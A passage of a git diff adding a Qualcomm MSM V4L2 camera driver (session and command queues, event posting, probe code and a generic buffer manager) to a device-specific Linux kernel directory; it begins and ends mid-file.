+ pr_err("%s : session queue not available Line %d\n", + __func__, __LINE__); + return -ENODEV; + } + + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (session) { + pr_err("%s : Session not found Line %d\n", + __func__, __LINE__); + return -EINVAL; + } + + session = kzalloc(sizeof(*session), GFP_KERNEL); + if (!session) { + pr_err("%s : Memory not available Line %d\n", + __func__, __LINE__); + return -ENOMEM; + } + + session->session_id = session_id; + session->event_q.vdev = vdev; + msm_init_queue(&session->command_ack_q); + msm_init_queue(&session->stream_q); + msm_enqueue(msm_session_q, &session->list); + mutex_init(&session->lock); + return 0; +} + +int msm_create_command_ack_q(unsigned int session_id, unsigned int stream_id) +{ + struct msm_session *session; + struct msm_command_ack *cmd_ack; + + if (!msm_session_q) { + pr_err("%s : Session queue not available Line %d\n", + __func__, __LINE__); + return -ENODEV; + } + + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (!session) { + pr_err("%s : Session not found Line %d\n", + __func__, __LINE__); + return -EINVAL; + } + mutex_lock(&session->lock); + cmd_ack = kzalloc(sizeof(*cmd_ack), GFP_KERNEL); + if (!cmd_ack) { + mutex_unlock(&session->lock); + pr_err("%s : memory not available Line %d\n", + __func__, __LINE__); + return -ENOMEM; + } + + msm_init_queue(&cmd_ack->command_q); + INIT_LIST_HEAD(&cmd_ack->list); + init_completion(&cmd_ack->wait_complete); + cmd_ack->stream_id = stream_id; + + msm_enqueue(&session->command_ack_q, &cmd_ack->list); + session->command_ack_q.len++; + mutex_unlock(&session->lock); + return 0; +} + +void msm_delete_command_ack_q(unsigned int session_id, unsigned int stream_id) +{ + struct msm_session *session; + struct msm_command_ack *cmd_ack; + unsigned long flags; + + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (!session) + return; + mutex_lock(&session->lock); + + cmd_ack = msm_queue_find(&session->command_ack_q, + struct msm_command_ack, list, __msm_queue_find_command_ack_q, + &stream_id); + if (!cmd_ack) { + mutex_unlock(&session->lock); + return; + } + + msm_queue_drain(&cmd_ack->command_q, struct msm_command, list); + + spin_lock_irqsave(&(session->command_ack_q.lock), flags); + list_del_init(&cmd_ack->list); + kzfree(cmd_ack); + session->command_ack_q.len--; + spin_unlock_irqrestore(&(session->command_ack_q.lock), flags); + mutex_unlock(&session->lock); +} + +static inline int __msm_sd_close_subdevs(struct msm_sd_subdev *msm_sd, + struct msm_sd_close_ioctl *sd_close) +{ + struct v4l2_subdev *sd; + sd = &msm_sd->sd; + pr_debug("%s: Shutting down subdev %s", __func__, sd->name); + + v4l2_subdev_call(sd, core, ioctl, MSM_SD_SHUTDOWN, sd_close); + v4l2_subdev_call(sd, core, s_power, 0); + + return 0; +} + +static inline int __msm_destroy_session_streams(void *d1, void *d2) +{ + struct msm_stream *stream = d1; + pr_err("%s: Error: Destroyed list is not empty\n", __func__); + INIT_LIST_HEAD(&stream->queued_list); + return 0; +} + +static void msm_destroy_session_streams(struct msm_session *session) +{ + + if (!session) + return; + + msm_queue_traverse_action(&session->stream_q, struct msm_stream, list, + __msm_destroy_session_streams, NULL); + + msm_queue_drain(&session->stream_q, struct msm_stream, list); +} + +static inline int __msm_remove_session_cmd_ack_q(void *d1, void *d2) +{ + struct msm_command_ack *cmd_ack = d1; + + if (!(&cmd_ack->command_q)) + return 0; + + msm_queue_drain(&cmd_ack->command_q, struct msm_command, list); + + return 0; +} + +static void msm_remove_session_cmd_ack_q(struct msm_session *session) +{ + if ((!session) || !(&session->command_ack_q)) + return; + + mutex_lock(&session->lock); + /* to ensure error handling purpose, it needs to detach all subdevs + * which are being connected to streams */ + msm_queue_traverse_action(&session->command_ack_q, + struct msm_command_ack, list, + __msm_remove_session_cmd_ack_q, NULL); + + msm_queue_drain(&session->command_ack_q, struct msm_command_ack, list); + + mutex_unlock(&session->lock); +} + +int msm_destroy_session(unsigned int session_id) +{ + struct msm_session *session; + struct v4l2_subdev *buf_mgr_subdev; + + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (!session) + return -EINVAL; + + msm_destroy_session_streams(session); + msm_remove_session_cmd_ack_q(session); + mutex_destroy(&session->lock); + msm_delete_entry(msm_session_q, struct msm_session, + list, session); + buf_mgr_subdev = msm_buf_mngr_get_subdev(); + if (buf_mgr_subdev) { + v4l2_subdev_call(buf_mgr_subdev, core, ioctl, + MSM_SD_SHUTDOWN, NULL); + } else { + pr_err("%s: Buff manger device node is NULL\n", __func__); + } + + return 0; +} + +static int __msm_close_destry_session_notify_apps(void *d1, void *d2) +{ + struct v4l2_event event; + struct msm_v4l2_event_data *event_data = + (struct msm_v4l2_event_data *)&event.u.data[0]; + struct msm_session *session = d1; + + event.type = MSM_CAMERA_V4L2_EVENT_TYPE; + event.id = MSM_CAMERA_MSM_NOTIFY; + event_data->command = MSM_CAMERA_PRIV_SHUTDOWN; + + v4l2_event_queue(session->event_q.vdev, &event); + + return 0; +} + +static long msm_private_ioctl(struct file *file, void *fh, + bool valid_prio, unsigned int cmd, void *arg) +{ + int rc = 0; + struct msm_v4l2_event_data *event_data = arg; + struct v4l2_event event; + struct msm_session *session; + unsigned int session_id; + unsigned int stream_id; + unsigned long spin_flags = 0; + + session_id = event_data->session_id; + stream_id = event_data->stream_id; + + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + + if (!session) + return -EINVAL; + + switch (cmd) { + case MSM_CAM_V4L2_IOCTL_NOTIFY: { + if (WARN_ON(!session->event_q.vdev)) { + rc = -EFAULT; + break; + } + event.type = event_data->v4l2_event_type; + event.id = event_data->v4l2_event_id; + memcpy(&event.u.data, event_data, + sizeof(struct msm_v4l2_event_data)); + v4l2_event_queue(session->event_q.vdev, + &event); + } + break; + + case MSM_CAM_V4L2_IOCTL_CMD_ACK: { + struct msm_command_ack *cmd_ack; + struct msm_command *ret_cmd; + + ret_cmd = kzalloc(sizeof(*ret_cmd), GFP_KERNEL); + if (!ret_cmd) { + rc = -ENOMEM; + break; + } + + cmd_ack = msm_queue_find(&session->command_ack_q, + struct msm_command_ack, list, + __msm_queue_find_command_ack_q, + &stream_id); + if (WARN_ON(!cmd_ack)) { + kzfree(ret_cmd); + rc = -EFAULT; + break; + } + + spin_lock_irqsave(&(session->command_ack_q.lock), + spin_flags); + event.type = event_data->v4l2_event_type; + event.id = event_data->v4l2_event_id; + memcpy(&event.u.data, event_data, + sizeof(struct msm_v4l2_event_data)); + memcpy(&ret_cmd->event, &event, sizeof(struct v4l2_event)); + msm_enqueue(&cmd_ack->command_q, &ret_cmd->list); + complete(&cmd_ack->wait_complete); + spin_unlock_irqrestore(&(session->command_ack_q.lock), + spin_flags); + } + break; + + case MSM_CAM_V4L2_IOCTL_NOTIFY_ERROR: + /* send v4l2_event to HAL next*/ + msm_queue_traverse_action(msm_session_q, + struct msm_session, list, + __msm_close_destry_session_notify_apps, NULL); + break; + + default: + rc = -ENOTTY; + break; + } + + return rc; +} + +static int msm_unsubscribe_event(struct v4l2_fh *fh, + const struct v4l2_event_subscription *sub) +{ + return v4l2_event_unsubscribe(fh, sub); +} + +static int msm_subscribe_event(struct v4l2_fh *fh, + const struct v4l2_event_subscription *sub) +{ + return v4l2_event_subscribe(fh, sub, 5, NULL); +} + +static const struct v4l2_ioctl_ops g_msm_ioctl_ops = { + .vidioc_subscribe_event = msm_subscribe_event, + .vidioc_unsubscribe_event = msm_unsubscribe_event, + .vidioc_default = msm_private_ioctl, +}; + +static unsigned int msm_poll(struct file *f, + struct poll_table_struct *pll_table) +{ + int rc = 0; + struct v4l2_fh *eventq = f->private_data; + + BUG_ON(!eventq); + + poll_wait(f, &eventq->wait, pll_table); + + if (v4l2_event_pending(eventq)) + rc = POLLIN | POLLRDNORM; + + return rc; +} + +static void msm_print_event_error(struct v4l2_event *event) +{ + struct msm_v4l2_event_data *event_data = + (struct msm_v4l2_event_data *)&event->u.data[0]; + + pr_err("Evt_type=%x Evt_id=%d Evt_cmd=%x\n", event->type, + event->id, event_data->command); + pr_err("Evt_session_id=%d Evt_stream_id=%d Evt_arg=%d\n", + event_data->session_id, event_data->stream_id, + event_data->arg_value); +} + +/* something seriously wrong if msm_close is triggered + * !!! user space imaging server is shutdown !!! + */ +int msm_post_event(struct v4l2_event *event, int timeout) +{ + int rc = 0; + struct video_device *vdev; + struct msm_session *session; + struct msm_v4l2_event_data *event_data = + (struct msm_v4l2_event_data *)&event->u.data[0]; + struct msm_command_ack *cmd_ack; + struct msm_command *cmd; + int session_id, stream_id; + unsigned long flags = 0; + + session_id = event_data->session_id; + stream_id = event_data->stream_id; + + spin_lock_irqsave(&msm_eventq_lock, flags); + if (!msm_eventq) { + spin_unlock_irqrestore(&msm_eventq_lock, flags); + pr_err("%s : msm event queue not available Line %d\n", + __func__, __LINE__); + return -ENODEV; + } + spin_unlock_irqrestore(&msm_eventq_lock, flags); + + vdev = msm_eventq->vdev; + + /* send to imaging server and wait for ACK */ + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (WARN_ON(!session)) { + pr_err("%s : session not found Line %d\n", + __func__, __LINE__); + return -EIO; + } + mutex_lock(&session->lock); + cmd_ack = msm_queue_find(&session->command_ack_q, + struct msm_command_ack, list, + __msm_queue_find_command_ack_q, &stream_id); + if (WARN_ON(!cmd_ack)) { + mutex_unlock(&session->lock); + pr_err("%s : cmd_ack not found Line %d\n", + __func__, __LINE__); + return -EIO; + } + + /*re-init wait_complete */ + INIT_COMPLETION(cmd_ack->wait_complete); + + v4l2_event_queue(vdev, event); + + if (timeout < 0) { + mutex_unlock(&session->lock); + pr_err("%s : timeout cannot be negative Line %d\n", + __func__, __LINE__); + return rc; + } + + /* should wait on session based condition */ + rc = wait_for_completion_timeout(&cmd_ack->wait_complete, + msecs_to_jiffies(timeout)); + + + if (list_empty_careful(&cmd_ack->command_q.list)) { + if (!rc) { + pr_err("%s: Timed out\n", __func__); + msm_print_event_error(event); + rc = -ETIMEDOUT; + } else { + pr_err("%s: Error: No timeout but list empty!", + __func__); + msm_print_event_error(event); + mutex_unlock(&session->lock); + return -EINVAL; + } + } + + cmd = msm_dequeue(&cmd_ack->command_q, + struct msm_command, list); + if (!cmd) { + mutex_unlock(&session->lock); + pr_err("%s : cmd dequeue failed Line %d\n", + __func__, __LINE__); + return -EINVAL; + } + + event_data = (struct msm_v4l2_event_data *)cmd->event.u.data; + + /* compare cmd_ret and event */ + if (WARN_ON(event->type != cmd->event.type) || + WARN_ON(event->id != cmd->event.id)) { + pr_err("%s : Either event type or id didnot match Line %d\n", + __func__, __LINE__); + pr_err("%s : event->type %d event->id %d\n", __func__, + event->type, event->id); + pr_err("%s : cmd->event.type %d cmd->event.id %d\n", __func__, + cmd->event.type, cmd->event.id); + rc = -EINVAL; + } + + *event = cmd->event; + + kzfree(cmd); + mutex_unlock(&session->lock); + return rc; +} + +static int msm_close(struct file *filep) +{ + int rc = 0; + unsigned long flags; + struct msm_video_device *pvdev = video_drvdata(filep); + struct msm_sd_close_ioctl sd_close; + struct msm_sd_subdev *msm_sd; + + /*stop all hardware blocks immediately*/ + if (!list_empty(&msm_v4l2_dev->subdevs)) + list_for_each_entry(msm_sd, &ordered_sd_list, list) + __msm_sd_close_subdevs(msm_sd, &sd_close); + + /* remove msm_v4l2_pm_qos_request */ + msm_pm_qos_remove_request(); + + /* send v4l2_event to HAL next*/ + msm_queue_traverse_action(msm_session_q, struct msm_session, list, + __msm_close_destry_session_notify_apps, NULL); + + spin_lock_irqsave(&msm_eventq_lock, flags); + msm_eventq = NULL; + spin_unlock_irqrestore(&msm_eventq_lock, flags); + v4l2_fh_release(filep); + + spin_lock_irqsave(&msm_pid_lock, flags); + put_pid(msm_pid); + msm_pid = NULL; + spin_unlock_irqrestore(&msm_pid_lock, flags); + + atomic_set(&pvdev->opened, 0); + + return rc; +} + +static inline void msm_list_switch(struct list_head *l1, + struct list_head *l2) +{ + l1->next = l2->next; + l2->prev = l1->prev; + l1->prev->next = l2; + l2->next->prev = l1; + l1->prev = l2; + l2->next = l1; +} + +static int msm_open(struct file *filep) +{ + int rc; + unsigned long flags; + struct msm_video_device *pvdev = video_drvdata(filep); + BUG_ON(!pvdev); + + /* !!! only ONE open is allowed !!! */ + if (atomic_read(&pvdev->opened)) + return -EBUSY; + + atomic_set(&pvdev->opened, 1); + + spin_lock_irqsave(&msm_pid_lock, flags); + msm_pid = get_pid(task_pid(current)); + spin_unlock_irqrestore(&msm_pid_lock, flags); + + /* create event queue */ + rc = v4l2_fh_open(filep); + if (rc < 0) + return rc; + + spin_lock_irqsave(&msm_eventq_lock, flags); + msm_eventq = filep->private_data; + spin_unlock_irqrestore(&msm_eventq_lock, flags); + + /* register msm_v4l2_pm_qos_request */ + msm_pm_qos_add_request(); + + return rc; +} + +static struct v4l2_file_operations msm_fops = { + .owner = THIS_MODULE, + .open = msm_open, + .poll = msm_poll, + .release = msm_close, + .ioctl = video_ioctl2, +#ifdef CONFIG_COMPAT + .compat_ioctl32 = video_ioctl2, +#endif +}; + +struct msm_stream *msm_get_stream(unsigned int session_id, + unsigned int stream_id) +{ + struct msm_session *session; + struct msm_stream *stream; + + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (!session) + return ERR_PTR(-EINVAL); + + stream = msm_queue_find(&session->stream_q, struct msm_stream, + list, __msm_queue_find_stream, &stream_id); + + if (!stream) + return ERR_PTR(-EINVAL); + + return stream; +} + +struct vb2_queue *msm_get_stream_vb2q(unsigned int session_id, + unsigned int stream_id) +{ + struct msm_session *session; + struct msm_stream *stream; + + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (!session) + return NULL; + + stream = msm_queue_find(&session->stream_q, struct msm_stream, + list, __msm_queue_find_stream, &stream_id); + if (!stream) + return NULL; + + return stream->vb2_q; +} + +struct msm_stream *msm_get_stream_from_vb2q(struct vb2_queue *q) +{ + struct msm_session *session; + struct msm_stream *stream; + unsigned long flags1; + unsigned long flags2; + spin_lock_irqsave(&msm_session_q->lock, flags1); + list_for_each_entry(session, &(msm_session_q->list), list) { + spin_lock_irqsave(&(session->stream_q.lock), flags2); + list_for_each_entry( + stream, &(session->stream_q.list), list) { + if (stream->vb2_q == q) { + spin_unlock_irqrestore + (&(session->stream_q.lock), flags2); + spin_unlock_irqrestore + (&msm_session_q->lock, flags1); + return stream; + } + } + spin_unlock_irqrestore(&(session->stream_q.lock), flags2); + } + spin_unlock_irqrestore(&msm_session_q->lock, flags1); + return NULL; +} + +static struct v4l2_subdev *msm_sd_find(const char *name) +{ + unsigned long flags; + struct v4l2_subdev *subdev = NULL; + struct v4l2_subdev *subdev_out = NULL; + + spin_lock_irqsave(&msm_v4l2_dev->lock, flags); + if (!list_empty(&msm_v4l2_dev->subdevs)) { + list_for_each_entry(subdev, &msm_v4l2_dev->subdevs, list) + if (!strcmp(name, subdev->name)) { + subdev_out = subdev; + break; + } + } + spin_unlock_irqrestore(&msm_v4l2_dev->lock, flags); + + return subdev_out; +} + +static void msm_sd_notify(struct v4l2_subdev *sd, + unsigned int notification, void *arg) +{ + int rc = 0; + struct v4l2_subdev *subdev = NULL; + + BUG_ON(!sd); + BUG_ON(!arg); + + /* Check if subdev exists before processing*/ + if (!msm_sd_find(sd->name)) + return; + + switch (notification) { + case MSM_SD_NOTIFY_GET_SD: { + struct msm_sd_req_sd *get_sd = arg; + + get_sd->subdev = msm_sd_find(get_sd->name); + /* TODO: might need to add ref count on ret_sd */ + } + break; + + case MSM_SD_NOTIFY_PUT_SD: { + struct msm_sd_req_sd *put_sd = arg; + subdev = msm_sd_find(put_sd->name); + } + break; + + case MSM_SD_NOTIFY_REQ_CB: { + struct msm_sd_req_vb2_q *req_sd = arg; + rc = msm_vb2_request_cb(req_sd); + if (rc < 0) + return; + } + break; + + default: + break; + } +} + +static int msm_probe(struct platform_device *pdev) +{ + struct msm_video_device *pvdev; + int rc = 0; + + msm_v4l2_dev = kzalloc(sizeof(*msm_v4l2_dev), + GFP_KERNEL); + if (WARN_ON(!msm_v4l2_dev)) { + rc = -ENOMEM; + goto probe_end; + } + + pvdev = kzalloc(sizeof(struct msm_video_device), + GFP_KERNEL); + if (WARN_ON(!pvdev)) { + rc = -ENOMEM; + goto pvdev_fail; + } + + pvdev->vdev = video_device_alloc(); + if (WARN_ON(!pvdev->vdev)) { + rc = -ENOMEM; + goto video_fail; + } + +#if defined(CONFIG_MEDIA_CONTROLLER) + msm_v4l2_dev->mdev = kzalloc(sizeof(struct media_device), + GFP_KERNEL); + if (!msm_v4l2_dev->mdev) { + rc = -ENOMEM; + goto mdev_fail; + } + strlcpy(msm_v4l2_dev->mdev->model, MSM_CONFIGURATION_NAME, + sizeof(msm_v4l2_dev->mdev->model)); + msm_v4l2_dev->mdev->dev = &(pdev->dev); + + rc = media_device_register(msm_v4l2_dev->mdev); + if (WARN_ON(rc < 0)) + goto media_fail; + + if (WARN_ON((rc == media_entity_init(&pvdev->vdev->entity, + 0, NULL, 0)) < 0)) + goto entity_fail; + + pvdev->vdev->entity.type = MEDIA_ENT_T_DEVNODE_V4L; + pvdev->vdev->entity.group_id = QCAMERA_VNODE_GROUP_ID; +#endif + + msm_v4l2_dev->notify = msm_sd_notify; + + pvdev->vdev->v4l2_dev = msm_v4l2_dev; + + rc = v4l2_device_register(&(pdev->dev), pvdev->vdev->v4l2_dev); + if (WARN_ON(rc < 0)) + goto register_fail; + + strlcpy(pvdev->vdev->name, "msm-config", sizeof(pvdev->vdev->name)); + pvdev->vdev->release = video_device_release; + pvdev->vdev->fops = &msm_fops; + pvdev->vdev->ioctl_ops = &g_msm_ioctl_ops; + pvdev->vdev->minor = -1; + pvdev->vdev->vfl_type = VFL_TYPE_GRABBER; + rc = video_register_device(pvdev->vdev, + VFL_TYPE_GRABBER, -1); + if (WARN_ON(rc < 0)) + goto v4l2_fail; + +#if defined(CONFIG_MEDIA_CONTROLLER) + /* FIXME: How to get rid of this messy? */ + pvdev->vdev->entity.name = video_device_node_name(pvdev->vdev); +#endif + + atomic_set(&pvdev->opened, 0); + video_set_drvdata(pvdev->vdev, pvdev); + + msm_session_q = kzalloc(sizeof(*msm_session_q), GFP_KERNEL); + if (WARN_ON(!msm_session_q)) + goto v4l2_fail; + + msm_init_queue(msm_session_q); + spin_lock_init(&msm_eventq_lock); + spin_lock_init(&msm_pid_lock); + INIT_LIST_HEAD(&ordered_sd_list); + goto probe_end; + +v4l2_fail: + v4l2_device_unregister(pvdev->vdev->v4l2_dev); +register_fail: +#if defined(CONFIG_MEDIA_CONTROLLER) + media_entity_cleanup(&pvdev->vdev->entity); +entity_fail: + media_device_unregister(msm_v4l2_dev->mdev); +media_fail: + kzfree(msm_v4l2_dev->mdev); +mdev_fail: +#endif + video_device_release(pvdev->vdev); +video_fail: + kzfree(pvdev); +pvdev_fail: + kzfree(msm_v4l2_dev); +probe_end: + return rc; +} + +static const struct of_device_id msm_dt_match[] = { + {.compatible = "qcom,msm-cam"}, + {} +} + +MODULE_DEVICE_TABLE(of, msm_dt_match); + +static struct platform_driver msm_driver = { + .probe = msm_probe, + .driver = { + .name = "msm", + .owner = THIS_MODULE, + .of_match_table = msm_dt_match, + }, +}; + +static int __init msm_init(void) +{ + return platform_driver_register(&msm_driver); +} + +static void __exit msm_exit(void) +{ + platform_driver_unregister(&msm_driver); +} + + +module_init(msm_init); +module_exit(msm_exit); +MODULE_DESCRIPTION("MSM V4L2 Camera"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm.h b/drivers/media/platform/msm/camera_wt88047_v2/msm.h new file mode 100644 index 0000000000000..0485001a1276e --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm.h @@ -0,0 +1,125 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef _MSM_H +#define _MSM_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MSM_POST_EVT_TIMEOUT 5000 +#define MSM_POST_EVT_NOTIMEOUT 0xFFFFFFFF +#define MSM_CAMERA_STREAM_CNT_BITS 32 + +#define CAMERA_DISABLE_PC_LATENCY 100 +#define CAMERA_ENABLE_PC_LATENCY PM_QOS_DEFAULT_VALUE + +struct msm_video_device { + struct video_device *vdev; + atomic_t opened; +}; + +struct msm_queue_head { + struct list_head list; + spinlock_t lock; + int len; + int max; +}; + +/** msm_event: + * + * event sent by imaging server + **/ +struct msm_event { + struct video_device *vdev; + atomic_t on_heap; +}; + +struct msm_command { + struct list_head list; + struct v4l2_event event; + atomic_t on_heap; +}; + +/** struct msm_command_ack + * + * Object of command_ack_q, which is + * created per open operation + * + * contains struct msm_command + **/ +struct msm_command_ack { + struct list_head list; + struct msm_queue_head command_q; + struct completion wait_complete; + int stream_id; +}; + +struct msm_v4l2_subdev { + /* FIXME: for session close and error handling such + * as daemon shutdown */ + int close_sequence; +}; + +struct msm_session { + struct list_head list; + + /* session index */ + unsigned int session_id; + + /* event queue sent by imaging server */ + struct msm_event event_q; + + /* ACK by imaging server. Object type of + * struct msm_command_ack per open, + * assumption is application can send + * command on every opened video node */ + struct msm_queue_head command_ack_q; + + /* real streams(either data or metadate) owned by one + * session struct msm_stream */ + struct msm_queue_head stream_q; + struct mutex lock; +}; + +void msm_pm_qos_update_request(int val); + +int msm_post_event(struct v4l2_event *event, int timeout); +int msm_create_session(unsigned int session, struct video_device *vdev); +int msm_destroy_session(unsigned int session_id); + +int msm_create_stream(unsigned int session_id, + unsigned int stream_id, struct vb2_queue *q); +void msm_delete_stream(unsigned int session_id, unsigned int stream_id); +int msm_create_command_ack_q(unsigned int session_id, unsigned int stream_id); +void msm_delete_command_ack_q(unsigned int session_id, unsigned int stream_id); +struct msm_stream *msm_get_stream(unsigned int session_id, + unsigned int stream_id); +struct vb2_queue *msm_get_stream_vb2q(unsigned int session_id, + unsigned int stream_id); +struct msm_stream *msm_get_stream_from_vb2q(struct vb2_queue *q); +struct msm_session *msm_session_find(unsigned int session_id); +#endif /*_MSM_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile new file mode 100644 index 0000000000000..8832457f4cf5c --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile @@ -0,0 +1,2 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +obj-$(CONFIG_MSMB_CAMERA) += msm_generic_buf_mgr.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.c b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.c new file mode 100644 index 0000000000000..eb385616d75db --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.c @@ -0,0 +1,352 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#include "msm_generic_buf_mgr.h" + +static struct msm_buf_mngr_device *msm_buf_mngr_dev; + +struct v4l2_subdev *msm_buf_mngr_get_subdev(void) +{ + return &msm_buf_mngr_dev->subdev.sd; +} + +static int32_t msm_buf_mngr_get_buf(struct msm_buf_mngr_device *buf_mngr_dev, + void __user *argp) +{ + unsigned long flags; + struct msm_buf_mngr_info *buf_info = + (struct msm_buf_mngr_info *)argp; + struct msm_get_bufs *new_entry = + kzalloc(sizeof(struct msm_get_bufs), GFP_KERNEL); + + if (!new_entry) { + pr_err("%s:No mem\n", __func__); + return -ENOMEM; + } + INIT_LIST_HEAD(&new_entry->entry); + new_entry->vb2_buf = buf_mngr_dev->vb2_ops.get_buf(buf_info->session_id, + buf_info->stream_id); + if (!new_entry->vb2_buf) { + pr_debug("%s:Get buf is null\n", __func__); + kfree(new_entry); + return -EINVAL; + } + new_entry->session_id = buf_info->session_id; + new_entry->stream_id = buf_info->stream_id; + spin_lock_irqsave(&buf_mngr_dev->buf_q_spinlock, flags); + list_add_tail(&new_entry->entry, &buf_mngr_dev->buf_qhead); + spin_unlock_irqrestore(&buf_mngr_dev->buf_q_spinlock, flags); + buf_info->index = new_entry->vb2_buf->v4l2_buf.index; + return 0; +} + +static int32_t msm_buf_mngr_buf_done(struct msm_buf_mngr_device *buf_mngr_dev, + struct msm_buf_mngr_info *buf_info) +{ + unsigned long flags; + struct msm_get_bufs *bufs, *save; + int32_t ret = -EINVAL; + + spin_lock_irqsave(&buf_mngr_dev->buf_q_spinlock, flags); + list_for_each_entry_safe(bufs, save, &buf_mngr_dev->buf_qhead, entry) { + if ((bufs->session_id == buf_info->session_id) && + (bufs->stream_id == buf_info->stream_id) && + (bufs->vb2_buf->v4l2_buf.index == buf_info->index)) { + bufs->vb2_buf->v4l2_buf.sequence = buf_info->frame_id; + bufs->vb2_buf->v4l2_buf.timestamp = buf_info->timestamp; + bufs->vb2_buf->v4l2_buf.reserved = 0; + ret = buf_mngr_dev->vb2_ops.buf_done + (bufs->vb2_buf, + buf_info->session_id, + buf_info->stream_id); + list_del_init(&bufs->entry); + kfree(bufs); + break; + } + } + spin_unlock_irqrestore(&buf_mngr_dev->buf_q_spinlock, flags); + return ret; +} + + +static int32_t msm_buf_mngr_put_buf(struct msm_buf_mngr_device *buf_mngr_dev, + struct msm_buf_mngr_info *buf_info) +{ + unsigned long flags; + struct msm_get_bufs *bufs, *save; + int32_t ret = -EINVAL; + + spin_lock_irqsave(&buf_mngr_dev->buf_q_spinlock, flags); + list_for_each_entry_safe(bufs, save, &buf_mngr_dev->buf_qhead, entry) { + if ((bufs->session_id == buf_info->session_id) && + (bufs->stream_id == buf_info->stream_id) && + (bufs->vb2_buf->v4l2_buf.index == buf_info->index)) { + ret = buf_mngr_dev->vb2_ops.put_buf(bufs->vb2_buf, + buf_info->session_id, buf_info->stream_id); + list_del_init(&bufs->entry); + kfree(bufs); + break; + } + } + spin_unlock_irqrestore(&buf_mngr_dev->buf_q_spinlock, flags); + return ret; +} + +static void msm_buf_mngr_sd_shutdown(struct msm_buf_mngr_device *buf_mngr_dev) +{ + unsigned long flags; + struct msm_get_bufs *bufs, *save; + + spin_lock_irqsave(&buf_mngr_dev->buf_q_spinlock, flags); + if (!list_empty(&buf_mngr_dev->buf_qhead)) { + list_for_each_entry_safe(bufs, + save, &buf_mngr_dev->buf_qhead, entry) { + pr_err("%s: Error delete invalid bufs =%x, ses_id=%d, str_id=%d, idx=%d\n", + __func__, (unsigned int)bufs, bufs->session_id, + bufs->stream_id, bufs->vb2_buf->v4l2_buf.index); + list_del_init(&bufs->entry); + kfree(bufs); + } + } + spin_unlock_irqrestore(&buf_mngr_dev->buf_q_spinlock, flags); +} + +static int msm_generic_buf_mngr_open(struct v4l2_subdev *sd, + struct v4l2_subdev_fh *fh) +{ + int rc = 0; + struct msm_buf_mngr_device *buf_mngr_dev = v4l2_get_subdevdata(sd); + if (!buf_mngr_dev) { + pr_err("%s buf manager device NULL\n", __func__); + rc = -ENODEV; + return rc; + } + return rc; +} + +static int msm_generic_buf_mngr_close(struct v4l2_subdev *sd, + struct v4l2_subdev_fh *fh) +{ + int rc = 0; + struct msm_buf_mngr_device *buf_mngr_dev = v4l2_get_subdevdata(sd); + if (!buf_mngr_dev) { + pr_err("%s buf manager device NULL\n", __func__); + rc = -ENODEV; + return rc; + } + return rc; +} + +static long msm_buf_mngr_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + int32_t rc = 0; + struct msm_buf_mngr_device *buf_mngr_dev = v4l2_get_subdevdata(sd); + void __user *argp = (void __user *)arg; + + if (!buf_mngr_dev) { + pr_err("%s buf manager device NULL\n", __func__); + rc = -ENOMEM; + return rc; + } + + switch (cmd) { + case VIDIOC_MSM_BUF_MNGR_GET_BUF: + rc = msm_buf_mngr_get_buf(buf_mngr_dev, argp); + break; + case VIDIOC_MSM_BUF_MNGR_BUF_DONE: + rc = msm_buf_mngr_buf_done(buf_mngr_dev, argp); + break; + case VIDIOC_MSM_BUF_MNGR_PUT_BUF: + rc = msm_buf_mngr_put_buf(buf_mngr_dev, argp); + break; + case VIDIOC_MSM_BUF_MNGR_INIT: + rc = msm_generic_buf_mngr_open(sd, NULL); + break; + case VIDIOC_MSM_BUF_MNGR_DEINIT: + rc = msm_generic_buf_mngr_close(sd, NULL); + break; + case MSM_SD_SHUTDOWN: + msm_buf_mngr_sd_shutdown(buf_mngr_dev); + break; + default: + return -ENOIOCTLCMD; + } + return rc; +} + +#ifdef CONFIG_COMPAT +static long msm_bmgr_subdev_fops_compat_ioctl(struct file *file, + unsigned int cmd, unsigned long arg) +{ + struct video_device *vdev = video_devdata(file); + struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); + int32_t rc = 0; + + void __user *up = compat_ptr(arg); + + struct msm_buf_mngr_info32_t *buf_info32 = NULL; + struct msm_buf_mngr_info *buf_info; + + if 